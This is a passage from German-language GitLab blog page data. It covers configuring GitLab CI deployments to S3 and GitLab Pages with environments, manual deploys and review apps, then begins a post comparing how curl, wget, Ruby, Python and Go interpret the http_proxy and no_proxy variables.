nicht geklappt:\n![Failed command](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/fail1.png){: .shadow}\n\nEs ist unsere Aufgabe dafür zu sorgen, dass eine ausführbare `aws`\\-Datei vorliegt. Um `awscli` installieren zu können, benötigen wir `pip`, ein Tool zur Installation von Python-Paketen. Unser Vorschlag: Spezifiziere dafür ein Docker-Image mit vorinstalliertem Python. Das nämlich sollte `pip` beinhalten.\n\n```yaml\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n![Automated deployment](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/14.jpg){: .center}\nYou push your code to GitLab, and it is automatically deployed by CI.\n  {: .note .text-center}\n\nDu pushst deinen Code zu GitLab und dadurch wird dieser automatisch von CI bereitgestellt. Damit hast du dein erstes Ziel einer automatisierten Kompilierung und Bereitstellung erreicht. \n\nDie Installation von `awscli` verlängert die benötigte Zeit, den Job auszuführen. Das aber soll uns im Augenblick nicht stören. Wenn du den Prozess beschleunigen musst, kannst du jederzeit nach einem [Docker](https://hub.docker.com/explore/)-Image mit vorinstalliertem `awscli` suchen oder selbst ein solches Image erstellen.\n{: .alert .alert-warning}\n\nWir sollten außerdem die folgenden Gitlab-CI-Environment-Variablen nicht vergessen, die du dir gerade aus der [AWS](https://console.aws.amazon.com/)-Konsole gezogen hast: \n\n```yaml\nvariables:\n  AWS_ACCESS_KEY_ID: \"AKIAIOSFODNN7EXAMPLE\"\n  AWS_SECRET_ACCESS_KEY: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\nDas sollte zwar an sich funktionieren,aber es ist dennoch eine gute Idee, geheime Schlüssel zu schützen \\- sogar in einem privaten Repository. Suchen wir also mal nach einer Lösung.\n\n### Wie man Geheimes geheim hält\n\nEs gibt in GitLab einen eigenen Ort für geheime Variablen: **Settings > CI/CD > Variables**\n\n![Picture of Variables page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/add-variable-updated.png)\n\nAlles, was du dort ablegst, wird in GitLab-CI-Umgebungs-Variablen verwandelt.\n\nWenn du nun das Kontrollkästchen für Maskenvariablen (*mask variables*) markierst, obfuskierst du die Variablen im Job-Log. Das bedeutet, dass du den Zugriff Dritter auf diese Daten erheblich erschwerst. Als Nächstes setzt du ein Häkchen im Kontrollkästchen „Variable schützen” (*Protect variable*). Dadurch wird die entsprechende Variable nur noch über Pipelines exportiert, die auf geschützten Branches und Tags laufen. Nur Nutzer(innen) mit „Owner”- oder „Maintainer”-Status haben Zugriff auf diesen Bereich. \n\nWir könnten Umgebungs-Variablen aus unserer GitLab-CI\\-Konfiguration entfernen. Stattdessen aber wollen wir sie zu einem anderen Zweck verwenden.\n\n### Wie du nicht geheime Variablen spezifizierst und nutzt\n\nWenn deine Konfiguration wächst, kann es nützlich sein, einige der Parameter zu Beginn der Konfiguration als Variablen zu belassen. Das gilt umso mehr, wenn du sie an mehr als einer Stelle verwendest. Obwohl das in unserer Situation nicht der Fall ist, wollen wir den S3-Bucket-Namen als [**Variable**](https://docs.gitlab.com/ee/ci/variables/) verwenden, um das Prinzip zu verdeutlichen:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\nSoweit so gut:\n\n![Successful build](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/build.png){: .shadow.medium.center}\n\nIn unserem hypothetischen Szenario ist es dir gelungen, mehr Besucher auf deine Seite zu bekommen. Daher unterstützt dich jetzt  ein(e) Entwickler(in).\n\nWerfen wir deswegen einen Blick darauf, wie Teamarbeit den GitLab-CI-Workflow verändert.\n\n## Wie Teams GitLab CI für die Bereitstellung nutzen können\n\nDa nun zwei Mitarbeiter(innen) am gleichen Repository arbeiten, ist es nicht mehr sinnvoll, die `main`\\-Branch für die Bereitstellung zu nutzen. Deswegen entscheidest du dich dafür, zwei separate Branches zu erzeugen: Eines für neue Features und das andere für neue Artikel. Am Endes willst du beide dann in `main` zusammenführen. \n\nDabei gibt es aber leider ein Problem – deine aktuelle CI-Konfiguration interessiert sich nicht für Branches. Sobald du etwas zu GitLab pushst, wird es auch für S3 bereitgestellt. \n\nZum Glück lässt sich dieses Problem recht einfach beheben. Füge lediglich `only: main` zu deinem `deploy`\\-Job hinzu.\n\n![Automated deployment of main branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/15-updated.png){: .center}\nDu willst deiner Produktions-Website zwar nicht jede Branch hinzufügen, aber es wäre durchaus gut, wenn du dir deine Änderungen an Feature-Branches per Vorschau ansehen könntest.\n{: .note .text-center}  \n\n### Wie du einen separaten Ort für das Testen von Code einrichtest\n\nDein Entwickler, nennen wir ihn Patrick, erinnert dich daran, dass es ein Feature namens [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) gibt. Es scheint ideal dafür zu sein, dir eine Vorschau dessen zu bieten, woran du gerade arbeitest.\n\nUm Websites auf GitLab Pages zu [hosten](/blog/gitlab-pages-setup/), sollte deine CI-Konfiguration drei einfache Voraussetzungen erfüllen:\n\n* Der *Job* sollte als `pages` angelegt werden  \n* Es sollte einen `artifacts`\\-Bereich mit einem öffentlichen Ordner geben  \n* Du solltest alles, was du hosten willst, in den `public-`Ordner legen\n\nDie Inhalte des öffentlichen Ordners werden an folgendem Ort gehostet: `http://\u003Cusername>.gitlab.io/\u003Cprojectname>/`\n{: .alert .alert-info}\n\nNach der Anwendung der [Beispielkonfiguration für plain-html-Websites](https://gitlab.com/pages/plain-html/blob/master/.gitlab-ci.yml), sieht die vollständige CI-Konfiguration so aus:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n  only:\n  - main\n\npages:\n  image: alpine:latest\n  script:\n  - mkdir -p ./public\n  - cp ./*.html ./public/\n  artifacts:\n    paths:\n    - public\n  except:\n  - main\n```\n\nWir haben zwei Jobs spezifiziert. Ein Job stellt die Website für deine Kunden auf S3 bereit (`deploy`). Die andere (`pages`) stellt die Website auf GitLab Pages bereit. Aus diesem Grund nennen wir sie jeweils „Produktionsumgebung” und „Prüfungsumgebung” *(Staging Environment*).\n\n![Deployment to two places](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/16-updated.png){: .center}\nAlle Branches, mit Ausnahme von main, werden auf GitLab Pages bereitgestellt.\n{: .note .text-center}\n\n## Einführung: Umgebungen (environments)\n\nGitLab bietet [Support für Umgebungen](https://docs.gitlab.com/ee/ci/environments/) (einschließlich dynamischer und statischer Umgebungen). Dazu musst du lediglich die zutreffende Umgebung für den jeweiligen Deployment-Job festlegen:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy to production:\n  environment: production\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n  only:\n  - main\n\npages:\n  image: alpine:latest\n  environment: staging\n  script:\n  - mkdir -p ./public\n  - cp ./*.html ./public/\n  artifacts:\n    paths:\n    - public\n  except:\n  - main\n```\n\nGitLab trackt deine CI-Bereitstellungen. So weißt du jederzeit, was aktuell auf deinen Servern bereitgestellt wird:\n\n![List of environments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/envs-updated.png){: .shadow.center}\n\nGitLab bietet eine vollständige Aufzeichnung deiner Bereitstellungen für alle deine aktuellen CI-Umgebungen:\n\n![List of deployments to staging environment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/staging-env-detail-updated.png){: .shadow.center}\n\n![Environments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/17-updated.png){: .center}\n\nNun, da wir alles automatisiert und eingerichtet haben, können wir uns den neuen Herausforderungen stellen, die uns erwarten.\n\n## Fehlerbehebung bei der Bereitstellung\n\nUnd da ist es schon wieder passiert: Du hast deine Feature-Branch gepusht, um sie in der „Staging-Umgebung” in der Vorschau zu sehen und nur eine Minute später hat Patrick seine Branch gepusht. Die Folge: Die Staging-Umgebung wurde mit seinem Beitrag überschrieben. Wie ärgerlich\\!\\! Das passiert heute schon zum dritten Mal\\!\n\nVorschlag: \u003Ci class=\"far fa-lightbulb\" style=\"color:#FFD900; font-size:.85em\" aria-hidden=\"true\">\u003C/i>\nWarum verwenden wir nicht Slack, um uns über CI-Bereitstellungen auf dem Laufenden zu halten? So können wir verhindern, dass wir uns bei der Bereitstellung gegenseitig in die Quere kommen.\n\n> Lerne, wie man [GitLab in Slack](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html) integriert.\n\n## Slack-Benachrichtigungen für Bereitstellungen\n\nDas Einrichten von Slack-Benachrichtigungen ist ein recht unkomplizierter Vorgang. \n\nDer Gedanke dahinter ist, die eintreffende WebHook-URL von Slack zu nehmen …\n\n![image11](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/queue.jpg){: .center}\n\n… und sie in Settings \\> Integrations \\> Slack notifications zusammen mit deinem Slack-Benutzernamen einzutragen:\n\n![image12](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/slack-integration-arrow.png){: .center}\n\nDas einzige, worüber du auf dem Laufenden gehalten werden möchtest, sind Bereitstellungen. Deswegen kannst du die Häkchen aus allen Kontrollkästchen außer dem für „Deployment” in den obengenannten Einstellungen entfernen. Das war’s auch schon. Ab jetzt wirst du über jede erfolgte Bereitstellung informiert: \n\n![image13](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/slack.png){: .center} \n\n## Skalierbarkeit von Teamarbeit\n\nEinige Zeit später ist deine Website wirklich beliebt geworden und dein Team ist von zwei auf acht Mitarbeiter angewachsen. Diese arbeiten parallel an Entwicklungs-Jobs. So kommt es recht häufig vor, dass mehrere von ihnen aufeinander warten müssen, weil jemand gerade eine Vorschau in der Staging-Umgebung durchführt. Damit ist die Idee, jede Branch in Staging bereitzustellen, obsolet geworden.\n\n![Queue of branches for review on Staging](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/queue.jpg){: .center}\n\nEs ist an der Zeit, den Prozess ein letztes Mal zu modifizieren. Du und dein Team sind zu dem Entschluss gekommen, dass alle, die ihre Änderungen auf dem Staging-Server ansehen möchten, diese zuerst mit der Staging-Branch zusammenführen sollen. \n\nDazu bedarf es nur einer minimalen Änderung von  `.gitlab-ci.yml`:\n\n```yaml\nexcept:\n- main\n```\n\nEs wird zu:\n\n```yaml\nonly:\n- staging\n```\n\n![Staging branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/18-updated.png){: .center}\nDie Mitarbeiter müssen nun ihre Feature-Branches zusammenführen, bevor sie diese auf dem Staging-Server als Vorschau betrachten können.\n{: .note .text-center}\n\nNatürlich erfordert dies zusätzliche Zeit und einen Mehraufwand für das Mergen. Aber alle stimmen überein, dass dies besser ist, als jedes Mal zu warten.\n\n### Wie du mit Notfällen umgehst\n\nDu kannst nicht alles kontrollieren. Manchmal geht einfach etwas schief. Nehmen wir ein Beispiel: Ein(e) Mitarbeiter(in) hat die Branches nicht korrekt zusammengeführt und das Ergebnis direkt in die Produktions-Umgebung gepusht \\- genau zu einem Zeitpunkt, als deine Website bei HackerNews ganz oben stand\\! Tausende Besucher haben so dein komplett zerschossenes Layout gesehen, statt deiner eigentlich so schönen Main-Page. \n\nZum Glück hat ein Team-Mitglied den **Rollback-Button** entdeckt. Damit konntest du die Website bereits eine Minute, nachdem das Problem entdeckt wurde, auf den alten Stand zurücksetzen.\n\n![List of environments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/prod-env-rollback-arrow-updated.png){: .shadow.center}\nDer Rollback-Button erlaubt es, eine Webseite schnell auf den Ursprungszustand zurückzusetzen. \n{: .note .text-center}\n\nRollback führt alles zu dem alten Job mit dem vorigen commit zurück. \n\nTrotzdem stellt dich diese Lösung des Problems noch nicht zufrieden. Du entschließt dich, die automatische Bereitstellung in die Produktions-Umgebung auszuschalten und stattdessen zum manuellen CI-Deployment zurückzukehren. Dazu fügst du deinem Job `when: manual` hinzu.\n\nWie du bereits erwartet hast, erfolgen ab jetzt keine automatischen Bereitstellungen in die Produktion mehr. Um eine manuelle Bereitstellung durchzuführen, gehe zu **CI/CD \\> Pipelines**, und klicke auf den Button:\n\n![Skipped job is available for manual launch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/manual-pipeline-arrow-updated.png){: .shadow.center}\n\nSpringen wir nun in die Zukunft. Endlich ist dein Unternehmen zu einer Aktiengesellschaft herangewachsen. Inzwischen arbeiten hunderte Mitarbeiter(innen) an der Website. Das bedeutet, dass die Kompromisse aus der Vergangenheit nicht mehr praxistauglich sind.\n\n### Es wird Zeit, Review Apps zu verwenden\n\nDer nächste logische Schritt besteht darin, ein temporäres Objekt der Applikation über die Feature-Branch zum Prüfen zu booten. \n\nIn unserem Fall richten wir dazu einen weiteren S3-Bucket ein. Der einzige Unterschied besteht darin, dass wir die Inhalte unserer Website in einen „Ordner” mit dem Namen der Entwicklungs-Branch kopieren. Nun sieht die URL so aus:\n\n`http://\u003CREVIEW_S3_BUCKET_NAME>.s3-website-us-east-1.amazonaws.com/\u003Cbranchname>/`\n\nHier ist der Ersatz für den `pages`\\-Job, den wir zuvor benutzt haben:\n\n```yaml\nreview apps:\n  variables:\n    S3_BUCKET_NAME: \"reviewbucket\"\n  image: python:latest\n  environment: review\n  script:\n  - pip install awscli\n  - mkdir -p ./$CI_BUILD_REF_NAME\n  - cp ./*.html ./$CI_BUILD_REF_NAME/\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\nEs ist interessant zu hinterfragen, woher wir diese `$CI_BUILD_REF_NAME`\\-Variable bekommen haben. GitLab CI definiert viele [Umgebungs-Variablen](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) vor, so dass du sie direkt in deinen Jobs verwenden kannst. \n\nBeachte, dass wir die `S3_BUCKET_NAME`\\-Variable im Job definiert haben. Damit kannst du Definitionen auf höchstem Level umschreiben.\n{: .alert .alert-info}\n\nHier ist eine visuelle Darstellung dieser Konfiguration:\n![Review apps]![How to use GitLab CI - update - 19 - updated](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/19-updated.png){: .illustration}\n\nWie genau die Review Apps implementiert werden, hängt von einer Vielzahl Faktoren ab, darunter dein Tech-Stack und dein Bereitstellungs-Prozess. Das ist sehr komplex und deswegen wollen wir in diesem Blogpost nicht näher darauf eingehen. \n\nImmerhin können wir mit Gewissheit behaupten, dass der Prozess sich nicht mehr ganz so einfach darstellen wird wie noch bei unserer statischen html-Website. An dieser Stelle sei nur ein Beispiel genannt: Du musst diese Objekte temporär anlegen. Wenn du sie nun mit der gesamten benötigten Software und allen Diensten automatisch hochfahren möchtest, ist das keine triviale Angelegenheit mehr. Dennoch ist es machbar, vor allem, wenn du Docker-Container verwendest \\- oder zumindest *Chef* oder *Ansible*. \n\nWir werden uns mit Docker-Bereitstellungen in einem zukünftigen Blogpost beschäftigen. Ich fühle mich ehrlich gesagt ein wenig schuldig, dass ich mich bei der Diskussion des Bereitstellungs-Prozesses nur auf das einfache Kopieren von html-Dateien beschränke und kein einziges wirklich anspruchsvolles Szenario durchgehe. Wenn du dringend mehr Informationen in diese Richtung benötigst, empfehle ich dir den englischsprachigen Artikel „[Building an Elixir Release into a Docker image using GitLab CI.](https://about.gitlab.com/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1/)\"\n\nIn diesem Artikel aber möchte ich nur noch einen letzten Punkt behandeln.\n\n### Bereitstellung auf verschiedenen Plattformen\n\nIm echten Leben müssen wir uns nicht auf S3 und GitLab Pages beschränken. Wir hosten unsere Apps und Pakete auf verschiedenen Diensten \\- gleiches gilt somit auch für unsere CI-Bereitstellungen. \n\nDarüber hinaus kann auch der Fall eintreten, dass du dich dazu entschließt, auf eine neue Plattform zu migrieren. In dem Fall müsstest du alle deine Bereitstellungs-Skripte neu schreiben. Um den Aufwand zu minimieren, kannst du ein ungemein wertvolles Tool namens `dpl` benutzen. \n\nIn den Beispielen oben haben wir `awscli` verwendet, um den Code an einen Beispiel-Dienst zu liefern (in unserem Fall Amazon S3). Unabhängig davon aber, welches Tool und welches Zielsystem du verwendest, bleibt das Prinzip dasselbe: Du führst einen Befehl mit bestimmten Parametern aus und identifizierst dich mit einem geheimen Schlüssel. \n\nDas `dpl`\\-Bereitstellungs-Tool nutzt dieses Prinzip und bietet ein einheitliches Interface für diese [Liste von Providern](https://github.com/travis-ci/dpl#supported-providers) an. \n\nSo sähe ein Produktions-Bereitstellungs-Job aus, wenn wir `dpl` nutzen:\n\n```yaml\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy to production:\n  environment: production\n  image: ruby:latest\n  script:\n  - gem install dpl\n  - dpl --provider=s3 --bucket=$S3_BUCKET_NAME\n  only:\n  - main\n```\n\nWenn du an verschiedene Systeme bereitstellen möchtest oder öfter die Ziel-Plattform änderst, ergibt es Sinn, über die Nutzung von `dpl` nachzudenken, um deine Bereitstellungs-Skripte einheitlich zu halten.\n\n## Fünf Kernpunkte\n\n1. Eine Bereitstellung ist nichts weiter als ein Befehl (oder eine Kombination von Befehlen), die regelmäßig ausgeführt werden. Deswegen kannst du Bereitstellungen über GitLab CI laufen lassen. \n\n2. In den meisten Fällen wirst du einen oder mehrere geheime Schlüssel verwenden müssen, um die Befehle ausführen zu können. Speichere diese geheimen Schlüssel in **Settings \\> CI/CD \\> Variables**.\t\n\n3. Mit GitLab CI kannst du flexibel spezifizieren, an welche Branches du deployen willst.  \t\n\n4. Wenn du Bereitstellungen an verschiedene CI-Umgebungen durchführen möchtest, speichert GitLab die Bereitstellungen. Das erlaubt es dir, einen Rollback zu einer früheren Version durchzuführen.  \n\n5. Für kritische Aspekte deiner Infrastruktur kannst du statt der automatischen Bereitstellung auf eine manuelle umstellen.\n\n\u003Cstyle>\n\nimg.illustration {\n  padding-left: 12%;\n  padding-right: 12%;\n\n}\n@media (max-width: 760px) {\n  img.illustration {\n    padding-left: 0px;\n    padding-right: 0px;\n  }\n}\n\u003C/style>",[1534,1535,767],{"slug":3708,"featured":6,"template":682},"ci-deployment-and-environments","content:de-de:blog:ci-deployment-and-environments.yml","Ci Deployment And Environments","de-de/blog/ci-deployment-and-environments.yml","de-de/blog/ci-deployment-and-environments",{"_path":3714,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3715,"content":3720,"config":3727,"_id":3729,"_type":16,"title":3730,"_source":17,"_file":3731,"_stem":3732,"_extension":20},"/de-de/blog/we-need-to-talk-no-proxy",{"title":3716,"description":3717,"ogTitle":3716,"ogDescription":3717,"noIndex":6,"ogImage":3297,"ogUrl":3718,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3718,"schema":3719},"Kann NO_PROXY standardisiert werden?","Erfahre, wie GitLab ein Problem gelöst hat, das durch die Unterschiede der\nVariablen, die nicht von allen Webclients unterstützt werden, entstanden\nist.","https://about.gitlab.com/blog/we-need-to-talk-no-proxy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kann NO_PROXY standardisiert werden?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2021-01-27\",\n      }",{"title":3716,"description":3717,"authors":3721,"heroImage":3297,"date":3722,"body":3723,"category":847,"tags":3724,"updatedDate":3726},[1151],"2021-01-27","Wenn du schon einmal einen Web-Proxyserver verwendet hast, bist du wahrscheinlich mit den Umgebungsvariablen `http_proxy` oder `HTTP_PROXY` vertraut. Weniger bekannt ist möglicherweise die Variable `no_proxy`, mit der du bestimmten Datenverkehr für bestimmte Hosts von der Verwendung des Proxys ausschließen kannst. Obwohl HTTP ein gut definierter Standard ist, existiert kein einheitlicher Standard dafür, wie Clients diese Variablen behandeln sollten. Dies führt dazu, dass Webclients diese Variablen auf sehr unterschiedliche Weise unterstützen. Bei einem GitLab-Kunden führten eben diese Unterschiede zu einer wochenlangen Fehlersuche, um herauszufinden, warum bestimmte Dienste nicht mehr kommunizierten.\n\nIn diesem Artikel erfährst du, wie wir die Probleme analysiert und gelöst haben.\n\n## Verwendung des Proxyservers: Konflikte und Ausnahmen\n\nDie meisten Webclients unterstützen heutzutage die Verbindung zu Proxy-Servern über Umgebungsvariablen (Environment variables):\n\n- `http_proxy / HTTP_PROXY`\n- `https_proxy / HTTPS_PROXY`\n- `no_proxy / NO_PROXY`\n\nDiese Variablen sagen dem Client, welche URL genutzt werden sollte, um Zugang zu Proxyservern zu erhalten und welche Ausnahmen gemacht werden sollten. Wenn du zum Beispiel einen Proxyserver hast, der auf `http://alice.example.com:8080` überwacht wird, könntest du ihn verwenden via:\n\n```sh\nexport http_proxy=http://alice.example.com:8080\n```\n\nWelcher Proxyserver wird verwendet, wenn Bob die Version in Großbuchstaben, `HTTP_PROXY`, ebenfalls definiert?\n\n```sh\nexport HTTP_PROXY=http://bob.example.com:8080\n```\n\nDie Antwort ist uneindeutig: Es hängt vom jeweiligen Kontext ab. In einigen Fällen gewinnt der Proxy von Alice, in anderen Fällen gewinnt Bob. \n\n### Ausnahmen definieren\n\nWas passiert, wenn du Ausnahmen machen willst? Nehmen wir etwa an, du willst einen Proxyserver für alles außer `internal.example.com` und `internal2.example.com` verwenden. In diesem Fall kommt die Variable `no_proxy` ins Spiel. Dann würdest du `no_proxy` wie folgt definieren:\n\n```sh\nexport no_proxy=internal.example.com,internal2.example.com\n```\n\nWas ist, wenn du IP-Adressen ausschließen willst? Kann man Sternchen oder eine `no_proxy`-Wildcard verwenden? Kann man CIDR-Blöcke verwenden (z. B. `192.168.1.1/32`)? Auch hier gilt wieder: Es kommt darauf an.\n\n## Geschichte der Webclients,wget no_proxy und cURLno_proxy\n\n1994 haben die meisten Webclients CERN's `libwww` genutzt, welche `http_proxy` und die `no_proxy` Umgebungsvariable unterstützt haben. `libwww` hat nur die kleingeschriebene Variante von `http_proxy` verwendet. Somit war die `no_proxy`-[Syntax](https://github.com/w3c/libwww/blob/8678b3dcb4191065ca39caea54bb1beba809a617/Library/src/HTAccess.c#L234-L239 \"Syntax\") sehr einfach:\n\n```\nno_proxy ist eine mithilfe von Kommas oder Leerzeichen  getrennte Liste von Rechner-\noder Domain-Namen mit optionalem :port part. Wenn kein :port\npart vorhanden ist, wird sie für alle Ports auf der Domain angewendet.\n\nBeispiel:\n\t\tno_proxy=\"cern.ch,some.domain:8001\"\n```\n\nEs entstanden neue Clients, die ihre eigenen HTTP-Implementierungen hinzufügten, ohne auf `libwww` zu verlinken. Im Januar 1996 veröffentlichte Hrvoje Niksic `geturl`, den Vorgänger des heutigen `wget`. Einen Monat später fügte `geturl` in v1.1 Unterstützung für `http_proxy` hinzu. Im Mai 1996 wurde mit `geturl` v1.3 die Unterstützung für `no_proxy` hinzugefügt. Genau wie `libwww` unterstützte `geturl` nur die Kleinbuchstabenform.\n\nIm Januar 1998 veröffentlichte Daniel Stenberg `curl` v5.1, das die Variablen `http_proxy` und `no_proxy` unterstützte. Darüber hinaus erlaubte `curl` die Großbuchstaben HTTP_PROXY und NO_PROXY. Eine plötzliche Wendung: Im März 2009 wurde mit `curl` v7.19.4 die Unterstützung für die Großbuchstabenvariante von HTTP_PROXY aufgrund von Sicherheitsbedenken eingestellt. Während curl HTTP_PROXY ignoriert, funktioniert HTTPS_PROXY jedoch auch heute noch.\n\nHeutzutage werden diese Proxyserver-Variablen je nach verwendeter Sprache oder Tool unterschiedlich gehandhabt.\n\n## http_proxy und https_proxy\n\nIn der folgenden Tabelle steht jede Zeile für ein unterstütztes Verfahren, während jede Spalte das Werkzeug (z.B. curl) oder die Sprache (z.B. Ruby) enthält, für die es gilt:\n\n|                 | curl      | wget           | Ruby          | Python    | Go        |\n|-----------------|-----------|----------------|---------------|-----------|-----------|\n| `http_proxy`    | Ja       | Ja            | Ja           | Ja       | Ja       |\n| `HTTP_PROXY`    | Nein       | Nein             |Ja ([warning](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1519)) | Ja (wenn `REQUEST_METHOD` nicht in env)       | Ja       |\n| `https_proxy`   | Ja       | Ja            | Ja           | Ja       | Ja       |\n| `HTTPS_PROXY`   | Ja       | Nein             | Ja           | Ja       | Ja       |\n| Präzedenzfall | Kleinschreibung | Kleinschreibung | Kleinschreibung     | Kleinschreibung | Großschreibung |\n| Referenz      | [Quelle](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2250-L2266) | [Quelle](https://github.com/jay/wget/blob/099d8ee3da3a6eea5635581ae517035165f400a5/src/retr.c#L1222-L1239) | [Quelle](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1474-L1543) | [Quelle](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2488-L2517) | [Quelle](https://github.com/golang/go/blob/682a1d2176b02337460aeede0ff9e49429525195/src/vendor/golang.org/x/net/http/httpproxy/proxy.go#L82-L97) |\n\n### Proxy-Variablen in Python und Go: Der Unterschied zwischen Groß- und Kleinschreibung\n\nBeachte, dass `http_proxy` und `https_proxy` immer durchgängig unterstützt werden, während `HTTP_PROXY` nicht immer unterstützt wird. Python (über urllib) verkompliziert das Bild noch mehr: `HTTP_PROXY` kann so lange verwendet werden, wie `REQUEST_METHOD` nicht in der Umgebung definiert ist.\n\nWährend man erwarten könnte, dass Umgebungsvariablen in Großbuchstaben geschrieben werden, war `http_proxy` zuerst da und ist damit also der De-facto-Standard. Im Zweifelsfall sollte man sich für die Kleinschreibung entscheiden, da diese universell unterstützt wird.\n\nIm Gegensatz zu den meisten Implementierungen versucht Go es mit Großbuchstaben, bevor es auf die Kleinschreibung zurückgreift. Wir werden später noch sehen, warum genau diese Vorgehensweise bei einem GitLab-Kunden zu Problemen führte.\n\n### no_proxy im gleichen Issue\n\nEinige Benutzer(innen) haben das Fehlen der `no_proxy`-Spezifikation in diesem Issue diskutiert. Da `no_proxy` eine Ausschlussliste spezifiziert, stellen sich viele Fragen zu ihrem Verhalten. Nehmen wir zum Beispiel an, deine `no_proxy`-Konfiguration ist definiert:\n\n```sh\nexport no_proxy=example.com\n```\n\nBedeutet dies, dass die Domain ein exaktes Match sein muss oder wird `subdomain.example.com` auch mit dieser Konfiguration übereinstimmen? Die folgende Tabelle zeigt den Status der verschiedenen Implementierungen. Es stellt sich heraus, dass alle Implementierungen Suffixe korrekt abgleichen, wie in der Zeile “Stimmt mit Suffixen überein” zu sehen ist:\n\n|                       | curl      | wget           | Ruby      | Python    | Go        |\n|-----------------------|-----------|----------------|-----------|-----------|-----------|\n| `no_proxy`            | Ja       | Ja             | Ja        | Ja        | Ja        |\n| `NO_PROXY`            | Ja        | Nein            | Ja        | Ja        | Ja        |\n| Präzedenzfall       | Kleinschreibung | Kleinschreibung | Kleinschreibung | Kleinschreibung | Großschreibung |\n| Stimmt mit Suffixen überein?     | Ja       | Ja            | Ja        | Ja        | Ja        |\n| Strips leading `.`?   | Ja       | Nein            | Ja       | Ja       | Nein        |\n| `*` Stimmt mit allen Hosts überein?| Ja       | Nein             | Nein        | Ja       | Ja       |\n| Unterstützt Regexe?     | Nein        | Nein             | Nein        | Nein        | Nein        |\n| Unterstützt CIDR-Blöcke? | Nein        | Nein            | Ja       | Nein        | Ja       |\n| Erkennt Loopback-IPs? | Nein        | Nein          | Nein       | Nein       | Ja       |\n| Referenz            | [Quelle](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2152-L2206) | [Quelle](https://github.com/jay/wget/blob/099d8ee3da3a6eea5635581ae517035165f400a5/src/retr.c#L1266-L1274) | [Quelle](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1545-L1554) | [Quelle](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2519-L2551)| [Quelle](https://github.com/golang/go/blob/682a1d2176b02337460aeede0ff9e49429525195/src/vendor/golang.org/x/net/http/httpproxy/proxy.go#L170-L206) |\n\nWenn jedoch ein vorangestellter. in der `no_proxy`-Einstellung vorhanden ist, variiert das Verhalten. Zum Beispiel verhalten sich `curl` und  `wget` unterschiedlich. `curl` entfernt immer den vorangestellten . und nimmt den Vergleich mit einem Domain-Suffix vor. Dieser Aufruf umgeht den Proxy:\n\n```sh\n$ env https_proxy=http://non.existent/ no_proxy=.gitlab.com curl https://gitlab.com\n\u003Chtml>\u003Cbody>You are being \u003Ca href=\"https://about.gitlab.com/\">redirected\u003C/a>.\u003C/body>\u003C/html>\n```\n\nAllerdings entfernt  `wget` den vorangestellten`.` nicht und führt eine exakte String-Übereinstimmung mit einem Hostnamen durch. Infolgedessen versucht  `wget`, einen Proxy zu verwenden, wenn eine Top-Level-Domain 